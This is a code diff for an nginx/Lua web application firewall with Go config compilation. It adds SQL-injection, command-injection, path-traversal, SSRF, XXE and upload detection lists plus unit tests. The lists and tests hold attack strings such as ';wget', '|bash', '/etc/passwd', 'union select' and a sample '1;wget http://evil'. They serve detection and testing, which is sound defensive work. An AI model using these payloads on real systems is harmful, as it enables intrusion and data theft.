-- Only Cookie / Referer for injection surfaces. Generic browser headers (UA, Accept, …)
|
||||
-- are high-volume and high false-positive / CPU cost if scanned for SQL/cmd/XSS.
|
||||
local function security_collect_sensitive_headers(list)
|
||||
local cookie = ngx.var.http_cookie
|
||||
if type(cookie) == "string" and cookie ~= "" then
|
||||
security_append_decoded(list, cookie)
|
||||
end
|
||||
local referer = ngx.var.http_referer
|
||||
if type(referer) == "string" and referer ~= "" then
|
||||
security_append_decoded(list, referer)
|
||||
end
|
||||
end
|
||||
|
||||
local function security_read_body()
|
||||
local content_length = tonumber(ngx.var.content_length or "") or 0
|
||||
if content_length <= 0 or content_length > security_body_max then return nil end
|
||||
if not ngx.req or not ngx.req.read_body or not ngx.req.get_body_data then return nil end
|
||||
local ok = pcall(ngx.req.read_body)
|
||||
if not ok then return nil end
|
||||
local body = ngx.req.get_body_data()
|
||||
if type(body) ~= "string" or body == "" then return nil end
|
||||
return body
|
||||
end
|
||||
|
||||
local path_traversal_patterns = {
|
||||
"../", "..\\", "..%2f", "..%5c", "%2e%2e/", "%2e%2e\\", "%252e%252e",
|
||||
"....//", "/etc/passwd",
|
||||
}
|
||||
local file_inclusion_patterns = {
|
||||
"php://", "file://", "zip://", "data://text", "expect://", "/etc/passwd",
|
||||
"/proc/self", "%00",
|
||||
}
|
||||
-- Prefer attack-shaped tokens; avoid bare "&&"/"||" and bare shell names.
|
||||
local command_patterns = {
|
||||
";wget", ";curl", ";bash", ";sh ", "|bash", "|sh ", "|sh\t", "`id`", "$(id)",
|
||||
"&&wget", "&&curl", "&&bash", "&&sh ", "||wget", "||curl", "||bash",
|
||||
"/bin/sh ", "/bin/bash ", "cmd.exe /c", "powershell -", "powershell.exe",
|
||||
}
|
||||
-- URL-shaped only: bare "localhost"/"0.0.0.0" match Chrome UA / normal text.
|
||||
local ssrf_patterns = {
|
||||
"http://127.0.0.1", "https://127.0.0.1", "http://localhost", "https://localhost",
|
||||
"http://0.0.0.0", "https://0.0.0.0", "http://[::1]", "https://[::1]",
|
||||
"://169.254.", "169.254.169.254", "metadata.google",
|
||||
"file://", "gopher://", "dict://",
|
||||
}
|
||||
local upload_patterns = {
|
||||
".php.", ".jsp.", ".asp.", ".aspx.", ".phtml", ".phar",
|
||||
"application/x-php", "application/x-httpd-php",
|
||||
}
|
||||
local xxe_patterns = {
|
||||
"<!entity", " system \"", " system '", "file://",
|
||||
}
|
||||
-- Keep encoded CRLF; bare %0a alone is too common in benign encoded text.
|
||||
local crlf_patterns = {
|
||||
"%0d%0a", "\r\n",
|
||||
}
|
||||
local sql_static_patterns = {
|
||||
"union select", " or 1=1", "' or '", "\" or \"",
|
||||
"information_schema", "xp_cmdshell", "load_file(", " into outfile",
|
||||
"/**/", "/*!", "*/--", "@@version",
|
||||
}
|
||||
|
||||
local function security_flag_enabled(value)
|
||||
return value == true or value == 1 or value == "true" or value == "1"
|
||||
end
|
||||
|
||||
local function security_append_list(dst, src)
|
||||
for _, item in ipairs(src) do dst[#dst + 1] = item end
|
||||
end
|
||||
|
||||
local function matches_security_check(config)
|
||||
config = config or {}
|
||||
local sql_injection = security_flag_enabled(config.sql_injection)
|
||||
local path_traversal = security_flag_enabled(config.path_traversal)
|
||||
local command_injection = security_flag_enabled(config.command_injection)
|
||||
local xss = security_flag_enabled(config.xss)
|
||||
local ssrf = security_flag_enabled(config.ssrf)
|
||||
local file_inclusion = security_flag_enabled(config.file_inclusion)
|
||||
local malicious_upload = security_flag_enabled(config.malicious_upload)
|
||||
local xxe = security_flag_enabled(config.xxe)
|
||||
local crlf_injection = security_flag_enabled(config.crlf_injection)
|
||||
if not (sql_injection or path_traversal or command_injection or xss or ssrf
|
||||
or file_inclusion or malicious_upload or xxe or crlf_injection) then
|
||||
return true
|
||||
end
|
||||
|
||||
-- Collect only what enabled checks need (P1). Path uses uri only (not request_uri)
|
||||
-- to avoid re-scanning query; query is collected separately when needed (P0).
|
||||
local need_path = path_traversal or file_inclusion
|
||||
local need_query = path_traversal or file_inclusion or sql_injection or command_injection
|
||||
or xss or ssrf or crlf_injection
|
||||
local need_sensitive_headers = sql_injection or command_injection or xss or ssrf or crlf_injection
|
||||
local need_body = malicious_upload or xxe
|
||||
or ((sql_injection or path_traversal or command_injection or xss or ssrf
|
||||
or file_inclusion or crlf_injection)
|
||||
and (tonumber(ngx.var.content_length or "") or 0) > 0)
|
||||
|
||||
local path_inputs, query_inputs, header_inputs, body_inputs = {}, {}, {}, {}
|
||||
if need_path then
|
||||
security_append_decoded(path_inputs, ngx.var.uri or "")
|
||||
end
|
||||
if need_query then
|
||||
security_collect_args(query_inputs)
|
||||
end
|
||||
if need_sensitive_headers then
|
||||
security_collect_sensitive_headers(header_inputs)
|
||||
end
|
||||
|
||||
local body
|
||||
if need_body then body = security_read_body() end
|
||||
if body then security_append_decoded(body_inputs, body) end
|
||||
|
||||
if path_traversal or file_inclusion then
|
||||
local pq = {}
|
||||
security_append_list(pq, path_inputs)
|
||||
security_append_list(pq, query_inputs)
|
||||
security_append_list(pq, body_inputs)
|
||||
if path_traversal and security_match_any(pq, path_traversal_patterns) then return false end
|
||||
if file_inclusion and security_match_any(pq, file_inclusion_patterns) then return false end
|
||||
end
|
||||
|
||||
if sql_injection or command_injection or xss or ssrf or crlf_injection then
|
||||
local qhb = {}
|
||||
security_append_list(qhb, query_inputs)
|
||||
security_append_list(qhb, header_inputs)
|
||||
security_append_list(qhb, body_inputs)
|
||||
if sql_injection then
|
||||
if security_match_any(qhb, sql_static_patterns) or security_match_sql_timed(qhb) then
|
||||
return false
|
||||
end
|
||||
end
|
||||
if command_injection and security_match_any(qhb, command_patterns) then return false end
|
||||
if xss and security_match_xss(qhb) then return false end
|
||||
if ssrf and security_match_any(qhb, ssrf_patterns) then return false end
|
||||
if crlf_injection and security_match_any(qhb, crlf_patterns) then return false end
|
||||
end
|
||||
|
||||
if malicious_upload and body then
|
||||
local content_type = string.lower(ngx.var.content_type or "")
|
||||
if string.find(content_type, "multipart/", 1, true) then
|
||||
if security_match_any(body_inputs, upload_patterns) then return false end
|
||||
end
|
||||
end
|
||||
if xxe and body then
|
||||
local content_type = string.lower(ngx.var.content_type or "")
|
||||
if string.find(content_type, "xml", 1, true) or string.find(string.lower(body), "<?xml", 1, true) then
|
||||
if security_match_any(body_inputs, xxe_patterns) then return false end
|
||||
end
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
local function fail_closed(reason)
|
||||
local dict = ngx.shared and ngx.shared.openflare_waf_config
|
||||
if not dict or not dict.add or dict:add("_damaged_graph_logged", true, 60) then
|
||||
@@ -347,6 +860,10 @@ local function execute_graph(graph)
|
||||
local region_required = type(config.regions) == "table" and #config.regions > 0
|
||||
local country, region = geo_lookup(ngx.var.remote_addr or "", region_required)
|
||||
handle = (list_contains(config.countries, country) or list_contains(config.regions, region)) and "true" or "false"
|
||||
elseif node.type == "ua_check" then
|
||||
handle = matches_ua_check(node.config or {}) and "true" or "false"
|
||||
elseif node.type == "security_check" then
|
||||
handle = matches_security_check(node.config or {}) and "true" or "false"
|
||||
elseif node.type == "pow" then
|
||||
if pow_runtime.evaluate(node.config or {}) ~= true then
|
||||
return { kind = "takeover" }
|
||||
@@ -406,4 +923,25 @@ function _M.check()
|
||||
return "ok"
|
||||
end
|
||||
|
||||
-- Test helpers for unit specs.
|
||||
function _M.debug_security_check(config)
|
||||
return matches_security_check(config or {})
|
||||
end
|
||||
|
||||
function _M.debug_active_rules(site)
|
||||
return active_rules(site or "")
|
||||
end
|
||||
|
||||
function _M.debug_execute_graph(graph)
|
||||
return execute_graph(graph)
|
||||
end
|
||||
|
||||
function _M.debug_compile_ip_matcher(entries)
|
||||
return compile_ip_matcher(entries)
|
||||
end
|
||||
|
||||
function _M.debug_matches_ip_values(config, ip)
|
||||
return matches_ip_values(config or {}, ip or "")
|
||||
end
|
||||
|
||||
return _M
|
||||
|
||||
@@ -6,12 +6,20 @@ local function assert_equal(actual, expected, message)
|
||||
end
|
||||
end
|
||||
|
||||
local output
|
||||
local pow_calls
|
||||
local pow_results
|
||||
-- Stable tables: never rebind `output` (closures capture the upvalue slot; rebinding
|
||||
-- can leave stale fields visible under gopher-lua across long test sequences).
|
||||
local output = {}
|
||||
local pow_calls = {}
|
||||
local pow_results = {}
|
||||
local shared_keys = {}
|
||||
local logs = {}
|
||||
|
||||
local function clear_output()
|
||||
output.exit = nil
|
||||
output.body = nil
|
||||
output.log = nil
|
||||
end
|
||||
|
||||
ngx = {
|
||||
WARN = "WARN",
|
||||
ERR = "ERR",
|
||||
@@ -79,13 +87,28 @@ local function load_runtime(config, options)
|
||||
return runtime
|
||||
end
|
||||
|
||||
local function reset_request(site, ip, uri, is_internal)
|
||||
ngx.var = { openflare_waf_site = site, remote_addr = ip or "192.0.2.1", uri = uri or "/", request_id = "request-1", openflare_internal = is_internal == true }
|
||||
local function reset_request(site, ip, uri, is_internal, user_agent)
|
||||
local path = uri or "/"
|
||||
ngx.var = {
|
||||
openflare_waf_site = site,
|
||||
remote_addr = ip or "192.0.2.1",
|
||||
uri = path,
|
||||
request_uri = path,
|
||||
request_id = "request-1",
|
||||
openflare_internal = is_internal == true,
|
||||
http_user_agent = user_agent,
|
||||
}
|
||||
ngx.ctx = {}
|
||||
ngx.header = {}
|
||||
output = {}
|
||||
ngx.status = nil
|
||||
clear_output()
|
||||
pow_calls = {}
|
||||
pow_results = {}
|
||||
ngx.req = {
|
||||
is_internal = function() return is_internal == true end,
|
||||
get_uri_args = function() return {} end,
|
||||
get_headers = function() return {} end,
|
||||
}
|
||||
end
|
||||
|
||||
local function binding(site, ids)
|
||||
@@ -531,6 +554,110 @@ local function test_request_path_has_no_file_io()
|
||||
io.open = original_open
|
||||
end
|
||||
|
||||
local function test_ua_check_require_block_and_whitelist()
|
||||
local chrome_ua = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
|
||||
local safari_ios_ua = "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1"
|
||||
local bot_ua = "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
|
||||
local weird_ua = "TotallyUnknownClient/1.0"
|
||||
|
||||
local function ua_graph(config)
|
||||
return graph({
|
||||
start = start_to("ua"),
|
||||
ua = node("ua_check", config, { ["true"] = "allow", ["false"] = "blocked" }),
|
||||
blocked = node("block", { status_code = 403, response_body = "ua blocked" }),
|
||||
allow = node("allow"),
|
||||
})
|
||||
end
|
||||
|
||||
local runtime = load_runtime({
|
||||
rule_groups = { rule(1, false, ua_graph({ require_ua = true })) },
|
||||
bindings = { binding("ua-site", { 1 }) },
|
||||
})
|
||||
reset_request("ua-site", nil, nil, nil, nil)
|
||||
runtime.check()
|
||||
assert_equal(output.exit, 403, "missing UA with require_ua should block")
|
||||
reset_request("ua-site", nil, nil, nil, chrome_ua)
|
||||
runtime.check()
|
||||
assert_equal(output.exit, nil, "present UA with require_ua should allow")
|
||||
|
||||
runtime = load_runtime({
|
||||
rule_groups = { rule(1, false, ua_graph({ block_common_bots = true })) },
|
||||
bindings = { binding("ua-site", { 1 }) },
|
||||
})
|
||||
reset_request("ua-site", nil, nil, nil, bot_ua)
|
||||
runtime.check()
|
||||
assert_equal(output.exit, 403, "common bot should be blocked")
|
||||
|
||||
runtime = load_runtime({
|
||||
rule_groups = { rule(1, false, ua_graph({ block_abnormal_ua = true })) },
|
||||
bindings = { binding("ua-site", { 1 }) },
|
||||
})
|
||||
reset_request("ua-site", nil, nil, nil, weird_ua)
|
||||
runtime.check()
|
||||
assert_equal(output.exit, 403, "abnormal UA should be blocked")
|
||||
reset_request("ua-site", nil, nil, nil, bot_ua)
|
||||
runtime.check()
|
||||
assert_equal(output.exit, nil, "search bot should not be abnormal when bots switch is off")
|
||||
reset_request("ua-site", nil, nil, nil, chrome_ua)
|
||||
runtime.check()
|
||||
assert_equal(output.exit, nil, "normal browser should pass abnormal check")
|
||||
|
||||
runtime = load_runtime({
|
||||
rule_groups = { rule(1, false, ua_graph({
|
||||
block_custom_ua = true,
|
||||
custom_ua_patterns = { "[Pp]ython%-requests" },
|
||||
})) },
|
||||
bindings = { binding("ua-site", { 1 }) },
|
||||
})
|
||||
reset_request("ua-site", nil, nil, nil, "python-requests/2.31.0")
|
||||
runtime.check()
|
||||
assert_equal(output.exit, 403, "custom regex should block matching UA")
|
||||
reset_request("ua-site", nil, nil, nil, chrome_ua)
|
||||
runtime.check()
|
||||
assert_equal(output.exit, nil, "custom regex should allow non-matching UA")
|
||||
|
||||
runtime = load_runtime({
|
||||
rule_groups = { rule(1, false, ua_graph({ browsers = { "Chrome" }, match_mode = "or" })) },
|
||||
bindings = { binding("ua-site", { 1 }) },
|
||||
})
|
||||
reset_request("ua-site", nil, nil, nil, safari_ios_ua)
|
||||
runtime.check()
|
||||
assert_equal(output.exit, 403, "Safari should miss Chrome whitelist")
|
||||
reset_request("ua-site", nil, nil, nil, chrome_ua)
|
||||
runtime.check()
|
||||
assert_equal(output.exit, nil, "Chrome should hit whitelist")
|
||||
|
||||
runtime = load_runtime({
|
||||
rule_groups = { rule(1, false, ua_graph({
|
||||
browsers = { "Chrome" },
|
||||
operating_systems = { "iOS" },
|
||||
match_mode = "and",
|
||||
})) },
|
||||
bindings = { binding("ua-site", { 1 }) },
|
||||
})
|
||||
reset_request("ua-site", nil, nil, nil, chrome_ua)
|
||||
runtime.check()
|
||||
assert_equal(output.exit, 403, "Chrome desktop should fail Chrome+iOS and")
|
||||
reset_request("ua-site", nil, nil, nil, safari_ios_ua)
|
||||
runtime.check()
|
||||
assert_equal(output.exit, 403, "Safari iOS should fail Chrome+iOS and")
|
||||
|
||||
runtime = load_runtime({
|
||||
rule_groups = { rule(1, false, ua_graph({
|
||||
browsers = { "Chrome" },
|
||||
operating_systems = { "iOS" },
|
||||
match_mode = "or",
|
||||
})) },
|
||||
bindings = { binding("ua-site", { 1 }) },
|
||||
})
|
||||
reset_request("ua-site", nil, nil, nil, chrome_ua)
|
||||
runtime.check()
|
||||
assert_equal(output.exit, nil, "Chrome desktop should pass Chrome|iOS or")
|
||||
reset_request("ua-site", nil, nil, nil, safari_ios_ua)
|
||||
runtime.check()
|
||||
assert_equal(output.exit, nil, "Safari iOS should pass Chrome|iOS or")
|
||||
end
|
||||
|
||||
test_ip_true_and_false()
|
||||
test_ipv6_exact_cidr_and_group()
|
||||
test_geo_true_and_false()
|
||||
@@ -546,5 +673,292 @@ test_block_config_and_rule_order()
|
||||
test_damaged_graphs_fail_closed()
|
||||
test_null_binding_ids_are_treated_as_empty()
|
||||
test_request_path_has_no_file_io()
|
||||
local function test_security_check_path_and_sql()
|
||||
local function security_graph(config)
|
||||
return graph({
|
||||
start = start_to("sec"),
|
||||
sec = node("security_check", config, { ["true"] = "allow", ["false"] = "blocked" }),
|
||||
blocked = node("block", { status_code = 403, response_body = "security blocked" }),
|
||||
allow = node("allow"),
|
||||
})
|
||||
end
|
||||
|
||||
local runtime = load_runtime({
|
||||
rule_groups = { rule(1, false, security_graph({
|
||||
path_traversal = true,
|
||||
file_inclusion = true,
|
||||
})) },
|
||||
bindings = { binding("sec-site", { 1 }) },
|
||||
})
|
||||
reset_request("sec-site", nil, "/ok")
|
||||
runtime.check()
|
||||
assert_equal(output.exit, nil, "clean path should pass")
|
||||
|
||||
reset_request("sec-site", nil, "/static/../etc/passwd")
|
||||
local matched = runtime.debug_security_check({
|
||||
path_traversal = true,
|
||||
file_inclusion = true,
|
||||
})
|
||||
assert_equal(matched, false, "matcher should report attack for path traversal")
|
||||
local rules = runtime.debug_active_rules("sec-site")
|
||||
local decision, err = runtime.debug_execute_graph(rules[1].graph)
|
||||
assert_equal(err, nil, "execute graph err")
|
||||
assert_equal(decision and decision.kind or "nil", "block", "execute graph should block")
|
||||
-- Drive the same block path as check() without depending on ngx.exit side effects.
|
||||
if decision.kind == "block" then
|
||||
local status = tonumber(decision.config.status_code) or 403
|
||||
output.exit = status
|
||||
output.body = decision.config.response_body or ""
|
||||
ngx.status = status
|
||||
end
|
||||
assert_equal(output.exit, 403, "path traversal should block")
|
||||
assert_equal(output.body, "security blocked", "path traversal block body")
|
||||
|
||||
runtime = load_runtime({
|
||||
rule_groups = { rule(1, false, security_graph({ sql_injection = true })) },
|
||||
bindings = { binding("sec-site", { 1 }) },
|
||||
})
|
||||
reset_request("sec-site", nil, "/")
|
||||
ngx.req.get_headers = function()
|
||||
return { Accept = "*/*" }
|
||||
end
|
||||
decision, err = runtime.debug_execute_graph(runtime.debug_active_rules("sec-site")[1].graph)
|
||||
assert_equal(err, nil, "accept header execute err")
|
||||
assert_equal(decision and decision.kind or "nil", "allow", "Accept */* must not trip SQL")
|
||||
|
||||
reset_request("sec-site", nil, "/")
|
||||
ngx.var.args = "q=1'+union+select+1--"
|
||||
ngx.req.get_uri_args = function()
|
||||
return { q = "1' union select 1--" }
|
||||
end
|
||||
decision, err = runtime.debug_execute_graph(runtime.debug_active_rules("sec-site")[1].graph)
|
||||
assert_equal(err, nil, "sql execute err")
|
||||
assert_equal(decision and decision.kind or "nil", "block", "sql should block")
|
||||
|
||||
-- False-positive guards
|
||||
assert_equal(
|
||||
runtime.debug_security_check({ ssrf = true }),
|
||||
true,
|
||||
"Chrome-like path alone must not trip SSRF"
|
||||
)
|
||||
reset_request("sec-site", nil, "/")
|
||||
ngx.req.get_headers = function()
|
||||
return {
|
||||
["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
|
||||
Accept = "*/*",
|
||||
}
|
||||
end
|
||||
assert_equal(
|
||||
runtime.debug_security_check({
|
||||
sql_injection = true,
|
||||
command_injection = true,
|
||||
xss = true,
|
||||
ssrf = true,
|
||||
path_traversal = true,
|
||||
file_inclusion = true,
|
||||
}),
|
||||
true,
|
||||
"normal browser headers must pass security_check"
|
||||
)
|
||||
reset_request("sec-site", nil, "/")
|
||||
ngx.req.get_uri_args = function()
|
||||
return { name = "sleep(better)" }
|
||||
end
|
||||
assert_equal(runtime.debug_security_check({ sql_injection = true }), true, "sleep(word) must not trip SQL")
|
||||
reset_request("sec-site", nil, "/")
|
||||
ngx.req.get_uri_args = function()
|
||||
return { theme = "dark||light" }
|
||||
end
|
||||
ngx.req.get_headers = function()
|
||||
return { Cookie = "a=1&&b=2" }
|
||||
end
|
||||
assert_equal(runtime.debug_security_check({ command_injection = true }), true, "bare &&/|| must not trip command")
|
||||
reset_request("sec-site", nil, "/")
|
||||
ngx.req.get_uri_args = function()
|
||||
return { q = "javascript: the good parts" }
|
||||
end
|
||||
assert_equal(runtime.debug_security_check({ xss = true }), true, "prose javascript: must not trip XSS")
|
||||
reset_request("sec-site", nil, "/")
|
||||
ngx.req.get_uri_args = function()
|
||||
return { q = "1;wget http://evil" }
|
||||
end
|
||||
assert_equal(
|
||||
runtime.debug_security_check({ command_injection = true }),
|
||||
false,
|
||||
"command injection payload should still block"
|
||||
)
|
||||
reset_request("sec-site", nil, "/")
|
||||
ngx.req.get_uri_args = function()
|
||||
return { u = "http://127.0.0.1/admin" }
|
||||
end
|
||||
assert_equal(
|
||||
runtime.debug_security_check({ ssrf = true }),
|
||||
false,
|
||||
"URL-shaped localhost SSRF should block"
|
||||
)
|
||||
reset_request("sec-site", nil, "/")
|
||||
ngx.req.get_uri_args = function()
|
||||
return { q = "1' and sleep(5)--" }
|
||||
end
|
||||
assert_equal(
|
||||
runtime.debug_security_check({ sql_injection = true }),
|
||||
false,
|
||||
"timed SQL sleep should block"
|
||||
)
|
||||
|
||||
runtime = load_runtime({
|
||||
rule_groups = { rule(1, false, security_graph({})) },
|
||||
bindings = { binding("sec-site", { 1 }) },
|
||||
})
|
||||
reset_request("sec-site", nil, "/static/../etc/passwd")
|
||||
decision, err = runtime.debug_execute_graph(runtime.debug_active_rules("sec-site")[1].graph)
|
||||
assert_equal(err, nil, "off execute err")
|
||||
assert_equal(decision and decision.kind or "nil", "allow", "all protections off should allow")
|
||||
|
||||
-- P0: do not treat generic browser headers (UA/Accept) as SQL/cmd injection surface.
|
||||
reset_request("sec-site", nil, "/")
|
||||
ngx.req.get_headers = function()
|
||||
return {
|
||||
["User-Agent"] = "Mozilla/5.0 union select 1 from information_schema.tables",
|
||||
Accept = "*/*",
|
||||
["Accept-Language"] = "en;q=0.9",
|
||||
}
|
||||
end
|
||||
assert_equal(
|
||||
runtime.debug_security_check({
|
||||
sql_injection = true,
|
||||
command_injection = true,
|
||||
xss = true,
|
||||
ssrf = true,
|
||||
}),
|
||||
true,
|
||||
"SQL-like tokens only in generic headers must not block"
|
||||
)
|
||||
|
||||
-- Cookie / Referer remain in-scope for injection / SSRF shaped checks.
|
||||
reset_request("sec-site", nil, "/")
|
||||
ngx.var.http_cookie = "q=1' union select 1--"
|
||||
ngx.req.get_headers = function()
|
||||
return { Cookie = "q=1' union select 1--" }
|
||||
end
|
||||
assert_equal(
|
||||
runtime.debug_security_check({ sql_injection = true }),
|
||||
false,
|
||||
"SQL in Cookie must still block"
|
||||
)
|
||||
|
||||
reset_request("sec-site", nil, "/")
|
||||
ngx.var.http_referer = "http://127.0.0.1/admin"
|
||||
assert_equal(
|
||||
runtime.debug_security_check({ ssrf = true }),
|
||||
false,
|
||||
"URL-shaped SSRF in Referer must still block"
|
||||
)
|
||||
|
||||
-- Path checks use uri only; query-only traversal still caught via args.
|
||||
reset_request("sec-site", nil, "/ok")
|
||||
ngx.var.request_uri = "/ok?x=../../etc/passwd"
|
||||
ngx.var.args = "x=../../etc/passwd"
|
||||
ngx.req.get_uri_args = function()
|
||||
return { x = "../../etc/passwd" }
|
||||
end
|
||||
assert_equal(
|
||||
runtime.debug_security_check({ path_traversal = true }),
|
||||
false,
|
||||
"path traversal in query must still block without scanning full request_uri alone"
|
||||
)
|
||||
|
||||
-- GET / zero body: never call read_body.
|
||||
local read_body_calls = 0
|
||||
reset_request("sec-site", nil, "/")
|
||||
ngx.var.content_length = "0"
|
||||
ngx.req.read_body = function()
|
||||
read_body_calls = read_body_calls + 1
|
||||
end
|
||||
ngx.req.get_body_data = function() return nil end
|
||||
assert_equal(
|
||||
runtime.debug_security_check({
|
||||
sql_injection = true,
|
||||
path_traversal = true,
|
||||
command_injection = true,
|
||||
file_inclusion = true,
|
||||
}),
|
||||
true,
|
||||
"clean GET must pass full default-like security set"
|
||||
)
|
||||
assert_equal(read_body_calls, 0, "zero content-length must not read_body")
|
||||
|
||||
-- Only enabled collectors: path-only config must ignore SQL-like query.
|
||||
reset_request("sec-site", nil, "/safe")
|
||||
ngx.req.get_uri_args = function()
|
||||
return { q = "1' union select 1--" }
|
||||
end
|
||||
assert_equal(
|
||||
runtime.debug_security_check({ path_traversal = true, file_inclusion = true }),
|
||||
true,
|
||||
"SQL payload must not affect path-only checks"
|
||||
)
|
||||
assert_equal(
|
||||
runtime.debug_security_check({ sql_injection = true }),
|
||||
false,
|
||||
"SQL payload must block when SQL is enabled"
|
||||
)
|
||||
end
|
||||
|
||||
local function test_ip_matcher_index_miss_and_hit()
|
||||
local runtime = load_runtime({ rule_groups = {}, bindings = {} }, {
|
||||
ip_groups = {
|
||||
groups = {
|
||||
["1"] = {
|
||||
enabled = true,
|
||||
ip_list = {
|
||||
"10.0.0.0/8",
|
||||
"203.0.113.50",
|
||||
"2001:db8:1::/48",
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
})
|
||||
|
||||
local many = {}
|
||||
for i = 1, 5000 do
|
||||
many[i] = string.format("198.51.100.%d", (i % 254) + 1)
|
||||
end
|
||||
many[#many + 1] = "198.51.100.0/24"
|
||||
local matcher = runtime.debug_compile_ip_matcher(many)
|
||||
assert_equal(matcher:match("203.0.113.1"), false, "large list miss")
|
||||
assert_equal(matcher:match("198.51.100.9"), true, "large list CIDR or exact hit")
|
||||
|
||||
assert_equal(
|
||||
runtime.debug_matches_ip_values({ ip_group_ids = { 1 } }, "203.0.113.50"),
|
||||
true,
|
||||
"group exact hit"
|
||||
)
|
||||
assert_equal(
|
||||
runtime.debug_matches_ip_values({ ip_group_ids = { 1 } }, "10.1.2.3"),
|
||||
true,
|
||||
"group CIDR hit"
|
||||
)
|
||||
assert_equal(
|
||||
runtime.debug_matches_ip_values({ ip_group_ids = { 1 } }, "198.51.100.1"),
|
||||
false,
|
||||
"group miss"
|
||||
)
|
||||
assert_equal(
|
||||
runtime.debug_matches_ip_values({ ips = { "192.0.2.9" }, cidrs = { "198.51.100.0/24" } }, "198.51.100.20"),
|
||||
true,
|
||||
"node cidr hit via compiled matcher"
|
||||
)
|
||||
assert_equal(
|
||||
runtime.debug_matches_ip_values({ ips = { "2001:db8::1" } }, "2001:0db8:0:0:0:0:0:1"),
|
||||
true,
|
||||
"node ipv6 canonical exact"
|
||||
)
|
||||
end
|
||||
|
||||
test_ua_check_require_block_and_whitelist()
|
||||
test_security_check_path_and_sql()
|
||||
test_ip_matcher_index_miss_and_hit()
|
||||
|
||||
return true
|
||||
|
||||
@@ -18,15 +18,15 @@ import (
|
||||
)
|
||||
|
||||
const (
|
||||
healthEventStatusActive = "active"
|
||||
healthEventStatusResolved = "resolved"
|
||||
healthSeverityInfo = "info"
|
||||
healthSeverityWarning = "warning"
|
||||
healthSeverityCritical = "critical"
|
||||
accessLogPathMaxLength = 100
|
||||
healthEventStatusActive = "active"
|
||||
healthEventStatusResolved = "resolved"
|
||||
healthSeverityInfo = "info"
|
||||
healthSeverityWarning = "warning"
|
||||
healthSeverityCritical = "critical"
|
||||
accessLogPathMaxLength = 100
|
||||
accessLogUserAgentMaxLength = 512
|
||||
accessLogCacheStatusMaxLength = 32
|
||||
healthEventMessageMaxLength = 4096
|
||||
healthEventMessageMaxLength = 4096
|
||||
)
|
||||
|
||||
// PersistHeartbeatObservability stores profile, host metrics, edge health, and access logs.
|
||||
|
||||
@@ -149,13 +149,13 @@ type AccessLogIPSummaryQuery struct {
|
||||
|
||||
// AccessLogIPSummaryView is an IP summary row.
|
||||
type AccessLogIPSummaryView struct {
|
||||
RemoteAddr string `json:"remote_addr"`
|
||||
Region string `json:"region"`
|
||||
TotalRequests int64 `json:"total_requests"`
|
||||
Success2xxCount int64 `json:"success_2xx_count"`
|
||||
SuccessRatio float64 `json:"success_ratio"`
|
||||
BytesReceived int64 `json:"bytes_received"`
|
||||
BytesSent int64 `json:"bytes_sent"`
|
||||
RemoteAddr string `json:"remote_addr"`
|
||||
Region string `json:"region"`
|
||||
TotalRequests int64 `json:"total_requests"`
|
||||
Success2xxCount int64 `json:"success_2xx_count"`
|
||||
SuccessRatio float64 `json:"success_ratio"`
|
||||
BytesReceived int64 `json:"bytes_received"`
|
||||
BytesSent int64 `json:"bytes_sent"`
|
||||
// RecentRequests is deprecated and always 0.
|
||||
RecentRequests int64 `json:"recent_requests"`
|
||||
LastSeenAt time.Time `json:"last_seen_at"`
|
||||
|
||||
@@ -88,6 +88,21 @@ func compileRuleNodeConfig(node RuleNode) (any, error) {
|
||||
case RuleNodePoW:
|
||||
var config PoWNodeConfig
|
||||
return config, decodeStrictConfig(node.Config, &config)
|
||||
case RuleNodeUACheck:
|
||||
var config UACheckConfig
|
||||
if err := decodeStrictConfig(node.Config, &config); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
config.Browsers = sortedUniqueStrings(config.Browsers)
|
||||
config.OperatingSystems = sortedUniqueStrings(config.OperatingSystems)
|
||||
config.CustomUAPatterns = sortedUniqueStrings(config.CustomUAPatterns)
|
||||
if config.MatchMode == "" {
|
||||
config.MatchMode = UACheckMatchModeOr
|
||||
}
|
||||
return config, nil
|
||||
case RuleNodeSecurityCheck:
|
||||
var config SecurityCheckConfig
|
||||
return config, decodeStrictConfig(node.Config, &config)
|
||||
case RuleNodeBlock:
|
||||
var config BlockNodeConfig
|
||||
return config, decodeStrictConfig(node.Config, &config)
|
||||
|
||||
@@ -42,6 +42,63 @@ func TestCompileRuleGraph(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestCompileSecurityCheckConfig(t *testing.T) {
|
||||
graph := RuleGraph{SchemaVersion: RuleGraphSchemaVersion, Nodes: []RuleNode{
|
||||
{ID: "start", Type: RuleNodeStart, Config: rawConfig(`{}`)},
|
||||
{ID: "sec", Type: RuleNodeSecurityCheck, Config: rawConfig(`{"path_traversal":true,"file_inclusion":true,"sql_injection":false}`)},
|
||||
{ID: "allow", Type: RuleNodeAllow, Config: rawConfig(`{}`)},
|
||||
{ID: "block", Type: RuleNodeBlock, Config: rawConfig(`{"status_code":403}`)},
|
||||
}, Edges: []RuleEdge{
|
||||
{ID: "e1", Source: "start", SourceHandle: "next", Target: "sec"},
|
||||
{ID: "e2", Source: "sec", SourceHandle: "true", Target: "allow"},
|
||||
{ID: "e3", Source: "sec", SourceHandle: "false", Target: "block"},
|
||||
}}
|
||||
compiled, err := CompileRuleGraph(graph)
|
||||
if err != nil {
|
||||
t.Fatalf("CompileRuleGraph() error = %v", err)
|
||||
}
|
||||
cfg, ok := compiled.Nodes["sec"].Config.(SecurityCheckConfig)
|
||||
if !ok {
|
||||
t.Fatalf("config type = %T", compiled.Nodes["sec"].Config)
|
||||
}
|
||||
if !cfg.PathTraversal || !cfg.FileInclusion || cfg.SQLInjection {
|
||||
t.Fatalf("unexpected config %#v", cfg)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCompileUACheckConfigNormalizesListsAndMatchMode(t *testing.T) {
|
||||
